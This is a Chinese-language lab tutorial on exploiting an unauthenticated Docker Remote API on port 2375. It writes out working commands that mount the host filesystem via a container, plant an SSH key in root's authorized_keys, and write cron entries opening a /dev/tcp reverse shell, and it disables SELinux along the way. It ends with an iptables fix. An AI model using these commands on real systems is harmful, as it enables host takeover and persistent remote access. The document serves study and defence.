一、Docker未授权介绍:
- docker swarm:
docker swarm是一个将docker集群变成单一虚拟的docker host工具,使用标准的DockerAPI,能够方便docker集群的管理和扩展,由docker官方提供,具体的大家可以看官网介绍: https://docs.docker.com/engine/swarm/
- 漏洞起因:
在使用docker swarm的时候,发现管理的docker节点上会开放一个tcp端口2375,并且绑定在0.0.0.0上,http访问会返回404 page not found,
这是官网提供给用户进行快速构建和扩展Docker应用程序和解决方案,此内容被称为Docker Remote API,Docker Remote API是一个Restful API,
可由HTTP客户端进行访问,linux下可以使用curl和wget命令进行访问
此API还提供了执行命令的功能,访问/containers/json和docker执行docker ps命令一样,可以查看到正在运行的容器,但是由于此配置能够在外网进行访问,并且在docker中的命令调用都可以通过此API来完成,这样实在太不安全了
二、环境搭建:
操作系统: Centos7
Docker版本: Docker-Ce18.09.9
搭建命令:
下载阿里源:
curl -o /etc/yum.repos.d/Centos-7.repo http://mirrors.aliyun.com/repo/Centos-7.repo
curl -o /etc/yum.repos.d/docker-ce.repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
yum clean all && yum makecache
安装指定版本:
yum install -y docker-ce-18.09.9
配置加速源:
vim /etc/docker/daemon.json
{ "registry-mirrors" : [ "https://8xpk5wnt.mirror.aliyuncs.com" ]}
设置开机自启:
systemctl enable docker
systemctl daemon-reload
启动contianerd服务:
containerd #启动containerd服务
Systemctl status containerd #查看服务状态
开启2375端口,提供外部访问:
vim /usr/lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.sock
改完之后需要重启:
Systemctl daemon-reload
Systemctl restart docker
Docker version
检查端口:
netstat –anot
三、漏洞复现:
复现环境:
攻击机:KALI-2020
靶机:Centos7-Docker18.09.9
复现过程:
从web端访问2375端口:接口会返回page not found
在路径中接上/version进行验证:会返回docker的版本信息
如果能查看到对应的docker信息,则证明漏洞存在,在攻击机开启docker服务
使用docker –H tcp://靶机ip:2375 ps命令查看靶机已启动的容器:
也可以查看目标机器的镜像:
攻击方式一:写入ssh公钥进行远程连接
首先生成一个key,ssh-keygen –t rsa 指定rsa的加密方式生成之后会在/root/.ssh目录下
查看id_rsa.pub,里面的内容就是我们后面需要用到的部分
进行远程创建docker并添加密钥:
docker -H tcp://192.168.246.153:2375 run --rm -it -v /:/mnt busybox chroot /mnt sh
命令说明:
run 运行容器
--rm 容器停止时,自动删除该容器
-v 挂载目录
-I 指示docker在容器上打开一个标准的输入接口
-t 指示docker要创建一个伪tty终端
进入.ssh目录写入公钥,cd ~/.ssh,使用echo写入公钥
echo “id_rsa.pub的文件内容” > /root/.ssh/authorized_keys #写入到指定路径下
之后使用密钥进行ssh连接即可连接到目标靶机
可以发现已经docker逃逸成功了
攻击方式二:写入定时任务进行反弹shell
定时任务反弹shell需要运用到crontab服务,crontab服务写shell的需要先了解它的语法格式:
* * * * * command #语法格式
*的含义如下所示
所以我们可以构造出反弹shell的语句:
* * * * * /bin/bash –i >& /dev/tcp/ip/port 0>&1 任意时间都会反弹shell
*/1 * * * * /bin/bash –i >& /dev/tcp/ip/port 0>&1 每隔一分钟就会反弹shell
定时任务路径:
Centos:
/var/spool/cron/
Ubuntu:
/var/spool/cron/crontabs/
任务反弹遇到的坑点:
在写入定时任务之后发现写入的命令无法执行:
查看日志后发现是selinux的问题,tail –f /var/log/cron,百度给出的解决方案如下所示:
chcon -R -usystem_u –r object_r –t system_cron_spool_t /etc/crontab
systemctl restart crond
如果执行之后查看日志发现还行出现如上的selinux的提示就将selinux关闭或者暂时停掉就行
Sestatus #查看selinux的状态
关掉selinux的服务:
sudo vim /etc/sysconfig/selinux #将selinux=disabled
sudo shutdown –r now #立即重启,重启机器配置生效
重启之后再次查看对应的内容:
还是重复的操作,进入到对应的容器shell中
docker -H tcp://192.168.246.152:2375 run --rm -it -v /:/mnt busybox chroot /mnt sh #启动容器之后退出容器就会清理掉该容器
Echo “*/1 * * * * /bin/bash –I >& /dev/tcp/ip/port 0>&1” > /var/spool/cron/root 写入到定时任务当中
攻击机开启nc监听,过一段时间之后就会得到靶机反弹回来的shell了
这样的话我们就成功逃逸出docker环境了,如果目标存在网站路径并且可以访问的话也可以写入对应的webshell
四、防护措施:
拦截对应的2375端口,禁止公网ip连接2375端口
Iptables –A INPUT –p tcp –dport 2375 –j DROP #拒绝2375的tcp协议连接